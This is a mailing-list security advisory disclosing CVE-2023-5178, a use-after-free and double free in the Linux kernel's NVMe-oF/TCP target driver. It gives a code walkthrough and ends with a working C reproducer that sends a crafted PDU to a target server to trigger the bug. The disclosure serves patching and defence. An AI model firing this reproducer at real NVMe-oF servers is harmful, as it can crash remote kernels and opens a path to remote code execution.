Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAK5usQs507yNj3CgrjZWF5kVcELZ+tOXaxK0Q0esrskVat0LZw@mail.gmail.com>
Date: Sun, 15 Oct 2023 18:42:40 +0300
From: Alon Zahavi <zahavi.alon@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2023-5178: Linux NVMe-oF/TCP Driver - UAF in `nvmet_tcp_free_crypto`

After disclosing the issue with the linux-distros mailing list and the
maintainers of the NVMe-oF/TCP subsystem, I am reporting the security
issue publicly here.
The patch is at work and will be available soon.
You may follow the patch here:
https://lore.kernel.org/all/20231004173226.5992-1-sj@kernel.org/T/

This vulnerability was assigned with CVE-2023-5178.

## Bug Summary:

Due to a logical bug in the NVMe-oF/TCP subsystem in the Linux kernel,
a malicious actor, with the ability to send messages to the
NVMe-oF/TCP server (either LAN or WAN), can cause a UAF and a double
free, which may lead to remote kernel code execution.

## Bug Location

`drivers/nvme/target/tcp.c` in the function `nvmet_tcp_free_crypto`

>From the introduction of NVMe-oF/TCP and up until the fix that would come.

## Technical Details

### In a few words:

The function `nvmet_tcp_free_crypto` is called twice, thus freeing
some pointers twice. Also, it dereferencing a freed address.

```

static void nvmet_tcp_free_crypto(struct nvmet_tcp_queue *queue)

{

        struct crypto_ahash *tfm = crypto_ahash_reqtfm(queue->rcv_hash);


        ahash_request_free(queue->rcv_hash);
        ahash_request_free(queue->snd_hash);
        crypto_free_ahash(tfm);

}

```


### In More Details:

****** First Free ******

The NVMe/TCP subsystem uses a queue (`nvmet_tcp_queue`), in which it
has two `struct ahash_request` fields (`rcv_hash` and `snd_hash`).

Following is the `nvmet_tcp_handle_icreq()` function.


```

static int nvmet_tcp_handle_icreq(struct nvmet_tcp_queue *queue)

{

...

        if (le32_to_cpu(icreq->hdr.plen) != sizeof(struct nvme_tcp_icreq_pdu)) {

                pr_err("bad nvme-tcp pdu length (%d)\n",
                           le32_to_cpu(icreq->hdr.plen));

                nvmet_tcp_fatal_error(queue); // [1]

        }

...

        if (queue->hdr_digest || queue->data_digest) {

                ret = nvmet_tcp_alloc_crypto(queue); // [2]

                if (ret)

                        return ret;

       }

...

        ret = kernel_sendmsg(queue->sock, &msg, &iov, 1, iov.iov_len); // [3]

        if (ret < 0)

                 goto free_crypto; // [4]

...

free_crypto:

        if (queue->hdr_digest || queue->data_digest)

        nvmet_tcp_free_crypto(queue); // [5]

        return ret;

}

```


[1] - In case the condition isn’t met, there is a call to
`nvmet_tcp_fatal_error`, which in there a `kernel_sock_shutdown`
operation is being called, to shut down the socket inside the NVMe
queue.

[2] - Afterwards, we allocate the crypto fields of the queue
(`snd_hash` and `rcv_hash`).

[3] - We try to send a message with the shut-downed socket, and when
it fails we go to `free_crypto` label ([4]).

[5] - We call `nvmet_tcp_free_crypto` for the first time.


****** Second Free ******

When the TCP session ends, the function `nvmet_tcp_release_queue_work`
is called by the subsystem.


```

static void nvmet_tcp_release_queue_work(struct work_struct *w)

{

...

        if (queue->hdr_digest || queue->data_digest)

        nvmet_tcp_free_crypto(queue);

...

}

```


In that function, we call `nvmet_tcp_free_crypto` with the same queue
from before thus triggering the bug.

Looking back on the `nvmet_tcp_free_crypto` function we can see the following:


1. `struct crypto_ahash *tfm = crypto_ahash_reqtfm(queue->rcv_hash);`
- The second call to the crypto free function will cause a
dereferencing of a pointer from a freed object (UAF). That `tfm`
variable will later use its `tfm->exit()` function pointer, thus
leading to code execution.

2. `ahash_request_free(queue->rcv_hash);` - A double free of a
`kmalloc-96` object, leading to memory corruption with undefined
behaviour. Also, it may lead to kernel code execution with the proper
exploitation

3. `ahash_request_free(queue->snd_hash);` - Same as the second bullet above.

4. `crypto_free_ahash(tfm);` - Here `tfm->exit()` is called.


## Reproducing

### Environment:
Any Linux machine with NVMe-oF/TCP enabled (Linux version 5.15 and above).

here is how to configure NVMe-of/TCP on the machine -
https://www.linuxjournal.com/content/data-flash-part-iii-nvme-over-fabrics-using-tcp


### Execution:
I am adding a reproducer generated by Syzkaller with some
optimizations and minor changes.


```
#define _GNU_SOURCE

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

uint64_t r[1] = {0xffffffffffffffff};

void loop(void)
{
intptr_t res = 0;
  res = syscall(__NR_socket, /*domain=*/2ul, /*type=*/1ul, /*proto=*/0);
  if (res != -1)
    r[0] = res;
  *(uint16_t*)0x20000100 = 2;
  *(uint16_t*)0x20000102 = htobe16(0x1144); // Service port
  *(uint32_t*)0x20000104 = htobe32(0xc0a8eb8b); // Service IP
  syscall(__NR_connect, /*fd=*/r[0], /*addr=*/0x20000100ul, /*addrlen=*/0x10ul);
  memcpy((void*)0x20000240,
         "\x00\x08\x80\x5d\xe3\x00\x00\x00\x00\x00\x00\x02\x04\x09\x00\x00\x6f"
         "\x30\x0d\x02\xef\x84\x31\x0f\xc3\xab\xf2\xd4\x12\x9f\xab\x6a\x3c\x50"
         "\x84\x95\x9b\x43\x4e\x06\x22\xf9\x00\x8a\xd0\x8e\x92\x95\x5b\x99\x18"
         "\x28\xfb\xa9\x14\x12\x2d\xcb\x00\x65\x2b\x3f\x12\xf8\xf8\xd6\x0a\x80"
         "\x0d\x10\x36\xc1\x1a\x39\x46\x00\x00\x00\x00\x00\x00\x00\xed\x07\x1d"
         "\x37\xe4\xd0\xdf\x0d\x31\x2f\xfd\xaa\x1f\xbe\xe4\x8f\x72\x3d\xc5\x1b"
         "\x5a\x52\x07\x64\xcc\xbb\x0e\x65\xa7\xc1\x01\xbd\xed\x7e\xe2\x0b\xdc"
         "\x53\x13\xbd\xa7\xea\xea\x5f\xcc\xa1\x6e\x2e\xa4\x85\x99\x8b\x04\x21"
         "\x3e\x4c\x00\x00\x00\x00\x00\x00",
         144);
  syscall(__NR_sendto, /*fd=*/r[0], /*pdu=*/0x20000240ul, /*len=*/0x80ul,
          /*f=*/0ul, /*addr=*/0ul, /*addrlen=*/0ul);
}

int main(void)
{
  syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul,
          /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
  loop();
  return 0;
}

```

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.